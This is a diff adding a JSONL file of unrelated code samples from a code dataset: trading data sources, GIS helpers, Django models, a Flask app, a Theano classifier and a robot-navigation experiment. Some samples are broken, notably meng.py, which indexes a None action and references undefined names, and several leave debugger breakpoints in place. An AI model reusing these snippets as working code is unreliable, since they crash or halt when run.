diff --git "a/5455.jsonl" "b/5455.jsonl" new file mode 100644--- /dev/null +++ "b/5455.jsonl" @@ -0,0 +1,706 @@ +{"seq_id":"442568994","text":"#\n# Copyright 2012 Xavier Bruhiere\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\n\"\"\"\nTools to generate data sources.\n\"\"\"\nimport sys\nimport os\nimport time\nimport json\nimport datetime\nimport pandas as pd\n\nfrom zipline.gens.utils import hash_args\nfrom zipline.sources.data_source import DataSource\n\nsys.path.append(os.environ['QTRADE'])\nfrom neuronquant.data.remote import Fetcher\nfrom neuronquant.data.datafeed import DataFeed\n\nimport logbook\nlog = logbook.Logger('DataLiveSource')\n\n\nclass DataLiveSource(DataSource):\n \"\"\"\n Yields all events in event_list that match the given sid_filter.\n If no event_list is specified, generates an internal stream of events\n to filter. Returns all events if filter is None.\n\n Configuration options:\n\n sids : list of values representing simulated internal sids\n start : start date\n delta : timedelta between internal events\n filter : filter to remove the sids\n \"\"\"\n\n def __init__(self, data, **kwargs):\n assert isinstance(data['index'], pd.tseries.index.DatetimeIndex)\n\n self.data = data\n # Unpack config dictionary with default values.\n self.sids = kwargs.get('sids', data['tickers'])\n self.start = kwargs.get('start', data['index'][0])\n self.end = kwargs.get('end', data['index'][-1])\n\n self.fake_index = pd.date_range(self.start, self.end, freq=pd.datetools.BDay())\n\n # Hash_value for downstream sorting.\n self.arg_string = hash_args(data, **kwargs)\n\n self._raw_data = None\n\n self.remote = Fetcher()\n self.feed = DataFeed()\n\n @property\n def mapping(self):\n return {\n 'dt': (lambda x: x, 'dt'),\n 'sid': (lambda x: x, 'sid'),\n 'price': (float, 'price'),\n 'currency': (str, 'currency'),\n 'perc_change': (float, 'perc_change'),\n 'volume': (int, 'volume'),\n }\n\n @property\n def instance_hash(self):\n return self.arg_string\n\n def raw_data_gen(self):\n current_dt = datetime.datetime.now()\n index = self.data['index']\n selector = (index.day > current_dt.day) \\\n | ((index.day == current_dt.day) & (index.hour > current_dt.hour)) \\\n | ((index.day == current_dt.day) & (index.hour == current_dt.hour) & (index.minute >= current_dt.minute))\n #NOTE Not an equal size issue ?\n for fake_dt, dt in zip(self.fake_index, index[selector]):\n while (current_dt.minute != dt.minute) or (current_dt.hour != dt.hour) :\n time.sleep(15)\n current_dt = datetime.datetime.now()\n print('Waiting {} / {}'.format(current_dt, dt))\n #for fake_dt, dt in zip(self.fake_index, self.data['index']):\n for sid in self.data['tickers']:\n if sid in self.sids:\n symbol = self.feed.guess_name(sid).lower()\n #FIXME Erros because no markets specifie, use light=True and add market\n #snapshot = self.remote.get_stock_snapshot(symbol, light=False)\n snapshot = self.remote.get_stock_snapshot(symbol, light=True)\n import ipdb; ipdb.set_trace()\n log.debug('Data available:\\n{}'.format(json.dumps(snapshot,\n sort_keys=True, indent=4, separators=(',', ': '))))\n if not snapshot:\n log.error('** No data snapshot available, maybe stopped by google ?')\n sys.exit(2)\n event = {\n 'dt': fake_dt,\n 'trade_time': dt,\n 'sid': sid,\n 'price': float(snapshot[symbol]['last']),\n 'currency': snapshot[symbol]['currency'],\n 'perc_change': float(snapshot[symbol]['perc_change']),\n 'volume': int(snapshot[symbol]['volume']),\n }\n yield event\n\n @property\n def raw_data(self):\n if not self._raw_data:\n self._raw_data = self.raw_data_gen()\n return self._raw_data\n","sub_path":"neuronquant/data/ziplinesources/live/equities.py","file_name":"equities.py","file_ext":"py","file_size_in_byte":4697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"603788837","text":"# Functions used in analyses\nimport gdal\nimport numpy as np\n\ndef make_raster(in_ds, fn, data, data_type, nodata=None):\n \"\"\"Create a one-band GeoTiff.\n\n in_ds - datasource to copy projection and geotransform from\n fn - path to the file to create\n data - Numpy array containing data to archive\n data_type - output data type\n nodata - optional NoData burn_values\n \"\"\"\n\n driver = gdal.GetDriverByName('gtiff')\n out_ds = driver.Create(\n fn, in_ds.RasterXSize, in_ds.RasterYSize, 1, data_type)\n out_ds.SetProjection(in_ds.GetProjection())\n out_ds.SetGeoTransform(in_ds.GetGeoTransform())\n out_band = out_ds.GetRasterBand(1)\n if nodata is not None:\n out_band.SetNoDataValue(nodata)\n out_band.WriteArray(data)\n out_band.FlushCache()\n #out_band.ComputerStaitstics(False)\n print('\"{}\" is printed.'.format(fn))\n return out_ds\n\n\ndef upazilaToTable(df, noi, column):\n \"\"\"Extracts Upazila level vertical data\n \"\"\"\n import numpy as np\n \n# noi = ('Male', 'Female'); column = 'B'\n codeUp = df.A.str.extract('(\\d+)')\n codeUp = codeUp[~codeUp.isna().values].values.astype(int)\n ioi = df.A.str.startswith(noi, na=False)\n count = df.loc[ioi, column].values\n count = count.reshape([int(len(count)/len(noi)),len(noi)]).astype(int)\n count = count[:-1:,:]\n table = np.concatenate((codeUp, count), 1)\n \n return table\n\n \ndef bbsCensus(fn):\n '''\n From BBS Census 2011 Excel data to Pandas Dataframe\n '''\n import pandas as pd\n xl = pd.ExcelFile(fn)\n df = xl.parse('Output')\n code = df['Code'].values.astype(int)[:,None]\n df = df.drop(['Code', 'Upazila/Thana Name'], axis=1)\n \n return code, df\n \n\ndef censusToRaster(ds, fn, imap, data):\n '''\n Distributes district-level data to spatial map\n '''\n import os\n imap = imap.copy()\n \n # Distributes data \n for i in range(len(data)):\n imap[imap == data[i,0]] = data[i,1]\n\n # Save new raster\n if not os.path.isfile(fn):\n out_ds = make_raster(ds, fn, imap, gdal.GDT_Float64, imap[0,0])\n del out_ds\n\n return imap \n \n \ndef zeroToOne(array):\n '''\n Scale data from 0 to 1\n '''\n data = array[~np.isnan(array)]\n data = (data - data.min())/(data.max()-data.min())\n array[~np.isnan(array)] = data\n \n return array\n\n\ndef timeToCategory(array):\n '''\n Scale travel time to 1-7\n '''\n time = array[~np.isnan(array)]\n time[time < 30] = 1\n time[(30 <= time) & (time < 60)] = 2\n time[(60 <= time) & (time < 120)] = 3\n time[(120 <= time) & (time < 180)] = 3\n time[(180 <= time) & (time < 360)] = 4\n time[(360 <= time) & (time < 720)] = 5\n time[(720 <= time) & (time < 1440)] = 6\n time[(1440 <= time) & (time < 5000)] = 7\n array[~np.isnan(array)] = time\n \n return array\n \ndef evaluation(name, index, code4):\n \n# index = hous\n mask = (code4 == code4[0,0])\n core = index[~mask]\n print('{} max: {:.3f}, min: {:.3f}'.format(name, core.max(), core.min()))\n \ndef climInterpolate(clim, code4):\n \n# clim = prec.copy()\n \n x,y = np.where((clim == clim.min()) & (code4 != code4[0,0]))\n clim[x,y] = clim[clim != clim.min()].mean()\n \n return clim\n \n \ndef affectedGdpFlood(gdp, fdep):\n '''\n Calculated total affected GDP by flood levels\n '''\n \n gdpdata = gdp.copy(); depth = fdep.copy()\n \n depth[depth <= 30] = depth[depth <= 30]/30\n depth[depth > 30] = 1\n \n gdpAfft = np.sum(depth*gdpdata)\n \n return gdpAfft\n \n\ndef valueToMap(value, code):\n '''\n Distribute value to Yes-Code region\n '''\n \n output = np.zeros(code.shape)\n output[code] = value\n \n return output\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n ","sub_path":"fh.py","file_name":"fh.py","file_ext":"py","file_size_in_byte":3886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"290203990","text":"from datetime import datetime\nimport talang.util.util_data as ut\n\n'''\n市场行情 由GetTicker函数返回\n{\n High :最高价\n Low :最低价\n Sell :卖一价\n Buy :买一价\n Last :最后成交价\n Volume :最近成交量\n}\n'''\n\n\nclass Ticker:\n \"\"\"\n Trade. Container of date, time, trade price, volume and side.\n \"\"\"\n def __init__(self):\n \"\"\"\n Constructor\n :param exch: Exchange name\n :param instmt: Instrument name\n :param default_format: Default date time format\n \"\"\"\n self.Exchange = ut.okex_exchange\n self.Symbol = ''\n self.Time = datetime(2000, 1, 1, 0, 0, 0).strftime(\"%Y%m%d %H:%M:%S.%f\")\n self.Ticker_id = '0'\n self.High = 0.0\n self.Low = 0.0\n self.Sell = 0.0\n self.Buy = 0.\n self.Last = 0.0\n self.Volume = 0.0\n self.Volume_to_value = 0.0 # Volume_to_value = Last * Volume\n\n @staticmethod\n def columns():\n \"\"\"\n Return static columns names\n \"\"\"\n return ['symbol', 'time', 'ticker_id', 'high', 'low', 'sell', 'buy', 'last', 'volume', 'volume_to_value']\n\n @staticmethod\n def types():\n \"\"\"\n Return static column types\n \"\"\"\n return ['varchar(25)', 'varchar(25)', 'text', 'decimal(20,8)', 'decimal(20,8)', 'decimal(20,8)',\n 'decimal(20,8)', 'decimal(20,8)', 'decimal(20,8)', 'decimal(20,8)']\n\n def values(self):\n \"\"\"\n Return values in a list\n \"\"\"\n return [self.Symbol] + [self.Time] + [self.Ticker_id] + \\\n [self.High] + [self.Low] + [self.Sell] + [self.Buy] + [self.Last] + [self.Volume] + \\\n [self.Volume_to_value]\n\n def cal_value(self, usdt_value=1):\n self.Volume_to_value = self.Volume * self.Last * usdt_value\n\n def print_detail(self):\n total_with = 10*15\n print('=' * (total_with))\n\n format_tile = \"%-10s%20s\" \\\n \"%15s%15s%15s%15s%15s%20s%20s\"\n print(format_tile % (\"Symbol\", \"Time\",\n \"High\", \"Low\", \"Sell\", \"Buy\", \"Last\", \"Volume\", \"Value(ustd)\"))\n print('-' * total_with)\n format_value = \"%-10s%20s\" \\\n \"%15.8f%15.8f%15.8f%15.8f%15.8f%20.4f%20.4f\"\n\n print(format_value % (self.Symbol, self.Time,\n self.High, self.Low, self.Sell, self.Buy, self.Last, self.Volume, self.Volume_to_value))\n\n print('=' * total_with)\n\n\nclass Tickers:\n def __init__(self):\n self.Tickers_list = []\n\n def add_ticker(self, ticker):\n self.Tickers_list.append(ticker)\n\n def sort_tickers_by_symbol(self):\n self.Tickers_list.sort(key=lambda x: x.Symbol, reverse=True)\n\n def sort_tickers_by_value(self):\n self.Tickers_list.sort(key=lambda x: x.Volume_to_value, reverse=True)\n\n def sort_tickers_by_volume(self):\n self.Tickers_list.sort(key=lambda x: x.Volume, reverse=True)\n\n def print_detail(self):\n total_with = 10*15\n print('=' * total_with)\n format_tile = \"%-5s%-10s%20s\" \\\n \"%15s%15s%15s%15s%15s%20s%20s\"\n print(format_tile % (\"No.\", \"Symbol\", \"Time\",\n \"High\", \"Low\", \"Sell\", \"Buy\", \"Last\", \"Volume\", \"Value(usdt)\"))\n print('-' * total_with)\n format_value = \"%-5d%-10s%20s\" \\\n \"%15.8f%15.8f%15.8f%15.8f%15.8f%20.4f%20.4f\"\n i = 1\n for ticker in self.Tickers_list:\n print(format_value % (i, ticker.Symbol, ticker.Time,\n ticker.High, ticker.Low, ticker.Sell, ticker.Buy, ticker.Last, ticker.Volume,\n ticker.Volume_to_value))\n i = i+1\n print('=' * total_with)","sub_path":"util/model/Ticker.py","file_name":"Ticker.py","file_ext":"py","file_size_in_byte":3794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"315943445","text":"from django.db import models\nfrom home.models import Product, User\n\n\nclass Order(models.Model):\n user = models.ForeignKey(\n User, \n on_delete=models.CASCADE,\n blank=True,\n null=True\n )\n first_name = models.CharField(\n max_length=50,\n verbose_name='Имя',\n )\n last_name = models.CharField(\n max_length=50,\n verbose_name='Фамилия',\n )\n email = models.EmailField(\n max_length=250,\n verbose_name='email'\n )\n postal_code = models.CharField(\n max_length=20,\n verbose_name='Почтовый индекс', \n )\n city = models.CharField(\n max_length=100,\n verbose_name='Город', \n )\n address = models.CharField(\n max_length=250,\n verbose_name='Адрес',\n )\n created = models.DateTimeField(auto_now_add=True)\n updated = models.DateTimeField(auto_now=True)\n paid = models.BooleanField(default=False)\n\n class Meta:\n ordering = ['-created']\n verbose_name = 'Заказ'\n verbose_name_plural = 'Заказы'\n\n def __str__(self):\n return 'Order {}'.format(self.id)\n\n def get_total_cost(self):\n return sum(item.get_cost() for item in self.items.all())\n\nclass OrderItem(models.Model):\n order = models.ForeignKey(\n Order, \n related_name='items', \n on_delete=models.CASCADE\n )\n product = models.ForeignKey(\n Product, \n related_name='order_items', \n on_delete=models.CASCADE\n )\n price = models.DecimalField(\n max_digits=10, \n decimal_places=2\n )\n quantity = models.PositiveIntegerField(default=1)\n\n def __str__(self):\n return '{}'.format(self.id)\n\n def get_cost(self):\n return self.price * self.quantity","sub_path":"shop/orders/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"332599726","text":"#Exercício Python 058: Melhore o jogo do DESAFIO 028 onde o computador\r\n#vai \"pensar\" em um número entre 0 e 10. Só que agora o jogador vai\r\n#tentar adivinhar até acertar, mostrando no final quantos palpites\r\n#foram necessários para vencer.\r\nfrom random import randint\r\nprint('\\033[1;31m--=DESAFIO 58=--')\r\nprint('\\033[1;30mChutando de 0 à 10, tente adivinhar o número que o computador pensou.')\r\njogador = -1\r\ncomputador = randint(0, 10)\r\ntentativas = 1\r\nwhile jogador != computador:\r\n jogador = int(input('\\033[1;33m{}ª tentativa: '.format(tentativas)))\r\n tentativas += 1\r\nif tentativas - 1 == 1:\r\n print('\\033[1;30mIncrível! Você acertou de primeira.')\r\nelse:\r\n print('\\033[1;30mVocê levou {} tentativas para adivinhar o número do computador.'.format(tentativas - 1))\r\n","sub_path":"Mundo 02/ex058.py","file_name":"ex058.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"369285163","text":"count = 0\nclass A(object):\n hello = 'hello, A!'\n def __init__(self):\n print(\"Enter A\")\n global count\n count += 1\n self.name = 'I am A!'\n print(\"Leave A\")\n\n def foo(self):\n print(\"foo from A\")\n\nclass B(A):\n hello = 'hello, B!'\n def __init__(self):\n print(\"Enter B\")\n A.__init__(self)\n #super(B, self).__init__()\n self.name = 'I am B!'\n print(\"Leave B\")\n\n def foo(self):\n print(\"foo from B\")\n\nclass C(A):\n hello = 'hello, C!'\n def __init__(self):\n print(\"Enter C\")\n A.__init__(self)\n #super(C, self).__init__()\n self.name = 'I am C!'\n print(\"Leave C\")\n \n def foo(self):\n print(\"foo from C\")\n\nclass D(B, C):\n def __init__(self):\n B.__init__(self)\n C.__init__(self)\n #super(D, self).__init__()\n\nif __name__ == \"__main__\":\n d = D()\n print(count)\n print(d.hello)\n print(d.name)\n d.foo()\n","sub_path":"mytestcodes/python/python3继承/test_super_01.py","file_name":"test_super_01.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"202118813","text":"import glob\nimport os\nimport random\n\nimport cv2\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport numpy as np\nimport torch\nimport torchvision.transforms as transforms\nfrom tqdm import tqdm\n\nimport habitat\nfrom habitat_baselines.config.default import get_config\nfrom rmp_nav.simulation import agent_factory, sim_renderer\nfrom sim_model import get_dict, get_node_image, get_node_pose\nfrom topological_nav.reachability import model_factory\nfrom topological_nav.reachability.planning import NavGraph, NavGraphSPTM\n\n\ndef get_node_image_goal(node, scene_name, neighbors=5):\n image_location_pre = \"../../data/datasets/pointnav/gibson/v4/train_large/images/\" + scene_name + \"/\" + \"episodeRGB\" + str(node[0]) + \"_\"\n images_in_traj =glob.glob(image_location_pre + \"*\")\n number_of_images_in_traj = len(images_in_traj)\n assert node[1] < number_of_images_in_traj\n image_indices_to_return = []\n for i in range(node[1] - neighbors, node[1] + neighbors+ 1):\n if i < 0:\n image_indices_to_return.append(0)\n elif i >= number_of_images_in_traj:\n image_indices_to_return.append(number_of_images_in_traj-1)\n else:\n image_indices_to_return.append(i)\n images_ret = []\n for i in image_indices_to_return:\n image_location = (\n image_location_pre\n + str(i).zfill(5)\n + \".jpg\"\n )\n image = plt.imread(image_location)\n images_ret.append(image)\n return np.array(images_ret)\n\ndef create_sim(scene):\n cfg = habitat.get_config(\"../../configs/tasks/pointnav_gibson.yaml\")\n cfg.defrost()\n cfg.SIMULATOR.SCENE = \"../../data/scene_datasets/gibson/\" + scene + \".glb\"\n cfg.SIMULATOR.AGENT_0.SENSORS = [\"RGB_SENSOR\", \"DEPTH_SENSOR\"]\n cfg.freeze()\n sim = habitat.sims.make_sim(\"Sim-v0\", config=cfg.SIMULATOR)\n return sim\n\nclass GetDistance:\n def __init__(self):\n self.model = self.get_model()\n\n def get_wp(self, model, ob, goal):\n agent = agent_factory.agents_dict[model[\"agent\"]]()\n pu.db\n follower = model[\"follower\"]\n return (\n follower.motion_policy.predict_waypoint(ob, goal),\n # follower.sparsifier.predict_reachability(ob, goal),\n )\n\n def get_model(self):\n model = model_factory.get(\"model_12env_v2_future_pair_proximity_z0228\")(\n device=\"cpu\"\n )\n return model\n # Cv2 gives images in BGR, and from 0-255\n # We want RGB and from 0-1\n # Can also get list/ np array of images, this should be handled\n def cv2_to_model_im(self, im):\n im = np.asarray(im)\n assert len(im.shape) == 3 or len(im.shape) == 4\n if len(im.shape) == 3:\n im = np.swapaxes(im, 0, 2)\n im = np.swapaxes(im, 1, 2)\n im = np.asarray(im)\n im = (im / 255).astype(\"float32\")\n else:\n im = np.swapaxes(im, 1, 3)\n im = np.swapaxes(im, 2, 3)\n im = np.asarray(im)\n im = (im / 255).astype(\"float32\")\n return im\n def get_distances_test(self):\n ob = np.random.rand(3, 64,64)\n goal = np.random.rand(11, 3, 64,64)\n wp = self.get_wp(self.model, ob, goal)\n return wp\n\ndef try_to_reach(\n G,\n start_node,\n end_node,\n d,\n localization_model,\n sim,\n device,\n visualize=True,\n):\n ob = sim.reset()\n # Perform high level planning over graph\n if visualize:\n video_name = \"local.mkv\"\n video = cv2.VideoWriter(video_name, 0, 3, (256 * 2, 256 * 1))\n else:\n video = None\n try:\n path = nx.dijkstra_path(G, start_node, end_node)\n except nx.exception.NetworkXNoPath as e:\n return 3\n if len(path) <= 10:\n return 4\n print(\"NEW PATH\")\n current_node = path[0]\n local_goal = path[1]\n # Move robot to starting position/heading\n agent_state = sim.agents[0].get_state()\n ground_truth_d = get_dict(\"Bolton\")\n pos, rot = get_node_pose(current_node, ground_truth_d)\n agent_state.position = pos\n agent_state.rotation = rot\n sim.agents[0].set_state(agent_state)\n # Start experiments!\n for current_node, local_goal in zip(path, path[1:]):\n success = try_to_reach_local(\n current_node,\n local_goal,\n d,\n localization_model,\n sim,\n device,\n video,\n )\n if success != 1:\n if visualize:\n cv2.destroyAllWindows()\n video.release()\n return 1\n if visualize:\n cv2.destroyAllWindows()\n video.release()\n # Check to see if agent made it\n agent_pos = sim.agents[0].get_state().position\n ground_truth_d = get_dict(\"Bolton\")\n (episode, frame) = end_node\n goal_pos = ground_truth_d[episode][\"shortest_paths\"][0][0][frame][\"position\"]\n distance = np.linalg.norm(agent_pos - goal_pos)\n if distance >= 0.2:\n return 2\n return 0\n\n\ndef try_to_reach_local(\n start_node,\n local_goal_node,\n d,\n localization_model,\n sim,\n device,\n video,\n):\n MAX_NUMBER_OF_STEPS = 100\n prev_action = torch.zeros(1, 1).to(device)\n not_done_masks = torch.zeros(1, 1).to(device)\n not_done_masks += 1\n ob = sim.get_observations_at(sim.get_agent_state())\n actions = []\n # Double check this is right RGB\n # goal_image is for video/visualization\n # goal_image_model is for torch model for predicting distance/heading\n scene_name = os.path.splitext(os.path.basename(sim.config.sim_cfg.scene.id))[0]\n goal_image_model = (\n cv2.resize(get_node_image(local_goal_node, scene_name), (224, 224)) / 255\n )\n transform = transforms.Compose(\n [\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\n ]\n )\n goal_image_model = (\n transform(goal_image_model).to(device).unsqueeze(0).type(torch.float32)\n )\n if video is not None:\n scene_name = os.path.splitext(os.path.basename(sim.config.sim_cfg.scene.id))[0]\n\n # start_image = cv2.resize(get_node_image(start_node, scene_name), (256, 256))\n goal_image = cv2.resize(get_node_image(local_goal_node, scene_name), (256, 256))\n\n for i in range(MAX_NUMBER_OF_STEPS):\n if video is not None:\n image = np.hstack([ob[\"rgb\"], goal_image])\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n cv2.putText(\n image,\n text=str(displacement).replace(\"tensor(\", \"\").replace(\")\", \"\"),\n fontFace=cv2.FONT_HERSHEY_SIMPLEX,\n org=(10, 10),\n fontScale=0.5,\n color=(255, 255, 255),\n thickness=2,\n )\n video.write(image)\n ob[\"depth\"] = torch.from_numpy(ob[\"depth\"]).unsqueeze(0).to(device)\n action = None\n actions.append(action[0].item())\n prev_action = action\n if displacement[0] < 0.1: # This is stop action\n print(\"STOP\")\n return 1\n ob = sim.step(action[0].item())\n return 0\n\ndef run_experiment(\n G, d, localization_model, scene, device, experiments=100\n):\n # Choose 2 random nodes in graph\n # 0 means success\n # 1 means failed at runtime\n # 2 means the system thought it finished the path, but was actually far away\n # 3 means topological map failed to find a path\n # 4 shouldn't be returned as an experiment result, its just used to say that the path in the map is trivially easy (few nodes to traverse between).\n return_codes = [0 for i in range(4)]\n for _ in tqdm(range(experiments)):\n results = None\n while results == None or results == 4:\n node1, node2 = get_two_nodes(G)\n results = try_to_reach(\n G,\n node1,\n node2,\n d,\n localization_model,\n scene,\n device,\n )\n return_codes[results] += 1\n if results == 2:\n pu.db\n results = try_to_reach(\n G,\n node1,\n node2,\n d,\n ddppo_model,\n localization_model,\n deepcopy(hidden_state),\n scene,\n device,\n )\n break\n return return_codes\n\n\n# Currently just return 2 random nodes, in the future may do something smarter.\ndef get_two_nodes(G):\n return random.sample(list(G.nodes()), 2)\n\n\ndef main():\n seed = 4\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n getDistance = GetDistance()\n config = get_config(\"configs/baselines/ddppo_pointnav.yaml\", [])\n device = (\n torch.device(\"cuda\", config.TORCH_GPU_ID)\n if torch.cuda.is_available()\n else torch.device(\"cpu\")\n )\n scene = create_sim(\"Bolton\")\n \n # example_forward(model, hidden_state, scene, device)\n G = nx.read_gpickle(\"./data/map/map_Bolton0.0.gpickle\")\n d = np.load(\"../data/map/d_slam.npy\", allow_pickle=True).item()\n results = run_experiment(\n G, d, getDistance, scene, device\n )\n print(results)\n\n\nif __name__ == \"__main__\":\n main()\n dist = GetDistance()\n print(dist.get_distances_test())\n #x = -1, y= -0\n","sub_path":"src/rl/meng.py","file_name":"meng.py","file_ext":"py","file_size_in_byte":9332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"566121383","text":"# -*- coding: utf-8 -*-\n\"\"\"\nLicense boilerplate should be used here.\n\"\"\"\n\n# python 3 imports\nfrom __future__ import absolute_import, unicode_literals\n\n# imports\nfrom flask import Flask, render_template\n\n# from data.models import Entry\nfrom data.models import Entry, User\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef index():\n entries = Entry.select()\n return render_template('index.html', entries=entries)\n\n\n@app.route(\"/users\")\ndef users():\n users = User.select()\n return render_template('users.html', users=users)\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=5556)\n","sub_path":"webApp.py","file_name":"webApp.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"106802383","text":"import theano\nimport theano.tensor as T\nfrom theano import function\nfrom theano import shared\nfrom theano import pp\nimport numpy as np\n\nclass Mnist(object):\n\n def __init__( self, n_in,n_out,learning_rate=0.1):\n\n x=T.matrix('x')#--> matrix [ImsizeMnist,Samples] \n y=T.ivector('y')#-->1D vector [Samples]\n\n #N_in=ImsizeMnist\n #N_out=Samples\n\n self.W=theano.shared(value=np.zeros((n_in,n_out)))\n self.b=theano.shared(value=np.zeros((n_out,)))\n\n\n p_y_given_x=T.nnet.softmax( T.dot(x,self.W)+self.b)\n\n # y.shape[0] is (symbolically) the number of rows in y, i.e.,\n # number of examples (call it n) in the minibatch\n # T.arange(y.shape[0]) is a symbolic vector which will contain [0,1,2,... n-1]\n #T.log(self.p_y_given_x) is a matrix of Log-Probabilities (call it LP)\n #with one row per example and one column per class.\n #LP[T.arange(y.shape[0]),y] is a vector \"v\" containing\n #[LP[0,y[0]], LP[1,y[1]], LP[2,y[2]], ...,LP[n-1,y[n-1]]]\n #and T.mean(LP[T.arange(y.shape[0]),y]) is\n # the mean (across minibatch examples) of the elements in v,\n # i.e., the mean log-likelihood across the minibatch. \n \n cost=-T.mean(T.log(p_y_given_x)[T.arange(y.shape[0]), y])#\n\n \n\n grad_W=T.grad( cost=cost, wrt=self.W)\n grad_b=T.grad( cost=cost, wrt=self.b)\n \n learning_rate_W=learning_rate\n learning_rate_b=learning_rate\n\n updates=[ (self.W, self.W-learning_rate_W*grad_W) ,( self.b,self.b-learning_rate_b*grad_b)]\n\n self.train_model=theano.function([x,y], cost, updates=updates, allow_input_downcast=True)\n \n y_pred=T.argmax(p_y_given_x,axis=1)\n\n self.predict_model=theano.function([x],y_pred,allow_input_downcast=True)\n \n\n def train(self,data_x,data_y,n_epochs=10000):\n\n print(\" Nnet train started #-iterations:\", n_epochs)\n for epochs in range(0,n_epochs):\n avg_cost=self.train_model(data_x,data_y)\n precision=100*self.validate(data_x,data_y)\n print_iteration=' Iteration:' + str(epochs)+' Cost:'+str(avg_cost)+' Precision: '+ str(precision)+' '\n \n if epochs-100*int(np.divide(epochs,100))==0:\n \n print(print_iteration)\n\n\n \n \n def validate (self,data_x,data_y):\n \n n_match=0\n pred_y=self.predict(data_x)\n \n \n for i in range(len(data_y)):\n\n if pred_y[i]==data_y[i]:\n n_match += 1\n\n \n return 1.0*np.true_divide(n_match,len(data_y) ) \n \n\n def predict( self, data_x):\n\n return self.predict_model(data_x)\n\n\n\n def get_W (self):\n\n return self.W.get_value()\n\n def get_b(self):\n\n return self.b.get_value()\n\n \n \n","sub_path":"MnistClass.py","file_name":"MnistClass.py","file_ext":"py","file_size_in_byte":3015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"583102198","text":"import sqlite3\n\nDB_TABLE_SETUP = '''CREATE TABLE weather (\n id integer PRIMARY KEY,\n current_conditions TEXT NOT NULL,\n current_temperature integer NOT NULL,\n wind_speed integer NOT NULL,\n rainfall_hour integer NOT NULL\n);'''\n\ndef createDatabase():\n try:\n sqlCon = sqlite3.connect(\"weather-records.db\")\n cursor = sqlCon.cursor()\n except sqlite3.Error as error:\n print(\"Error: \", error)\n finally:\n if(sqlCon):\n cursor.execute(DB_TABLE_SETUP)\n sqlCon.commit()\n print(\"Database created successfully. Exiting setup now\")\n\n\nprint(\"Welcome to Weather Records setup!\\n\")\nprint(\"I will now create an SQLite database in this directory\")\ncreateDatabase()","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"638329797","text":"import datetime\nfrom django.db.models import Sum\nfrom django.views.generic import TemplateView\nfrom crm.payment.models import Payment\nfrom crm.payment.models import Method\nfrom crm.date.models import Season\nfrom crm.date.models import Month\nfrom crm.contract.models.contract import TYPE_CONTRACT\nfrom crm.contract.models import Contract\n\n\nclass ReportListView(TemplateView):\n template_name = \"payment/report-index.html\"\n\n def get_context_data(self, **kwargs):\n seasons = Season.objects.all()\n months = Month.objects.all()\n return {'seasons': seasons, 'months': months}\n\n\nclass DateRangeReport(TemplateView):\n template_name = \"payment/report-view.html\"\n\n def get_context_data(self, **kwargs):\n start = self.request.GET[\"start\"]\n end = self.request.GET[\"end\"]\n payments = Payment.objects.filter(date__range=(start, end), amount__gt=0).order_by(\"date\")\n methods = Method.objects.all()\n\n for method in methods:\n method.sum = payments.filter(method=method).aggregate(Sum('amount'))['amount__sum']\n method.count = payments.filter(method=method).count()\n\n return {\n \"date_start\": start,\n \"date_end\": end,\n \"count\": payments.count(),\n \"sum\": payments.aggregate(Sum('amount'))['amount__sum'],\n \"methods\": methods,\n \"payments\": payments}\n\n\nclass MonthlyStatementView(TemplateView):\n template_name = \"payment/report-view.html\"\n\n def get_context_data(self, **kwargs):\n season = Season.objects.get(name=self.request.GET[\"season\"])\n month = Month.objects.get(id=self.request.GET[\"month\"])\n payments = Payment.objects.filter(uid__season=season, month=month, amount__gt=0).order_by(\"date\")\n methods = Method.objects.all()\n\n for method in methods:\n method.sum = payments.filter(method=method).aggregate(Sum('amount'))['amount__sum']\n method.count = payments.filter(method=method).count()\n\n return {\n \"date_start\": datetime.date(2013, month.id, 1),\n \"date_end\": datetime.date(2013, month.id, 30),\n \"count\": payments.count(),\n \"sum\": payments.aggregate(Sum('amount'))['amount__sum'],\n \"methods\": methods,\n \"payments\": payments}\n\n\nclass MissingPaymentsView(TemplateView):\n template_name = \"payment/missing-payments.html\"\n\n def get_context_data(self, **kwargs):\n season = Season.objects.get(name=self.request.GET[\"season\"])\n month = Month.objects.get(id=self.request.GET[\"month\"])\n today = datetime.date.today()\n active_contracts = Contract.objects.filter(season=season, active=True, type=TYPE_CONTRACT, start_date__lte=today)\n payments = Payment.objects.filter(month=month, amount__gt=0)\n missing_payments = []\n total = 0\n\n for contract in active_contracts:\n contract.already_paid = 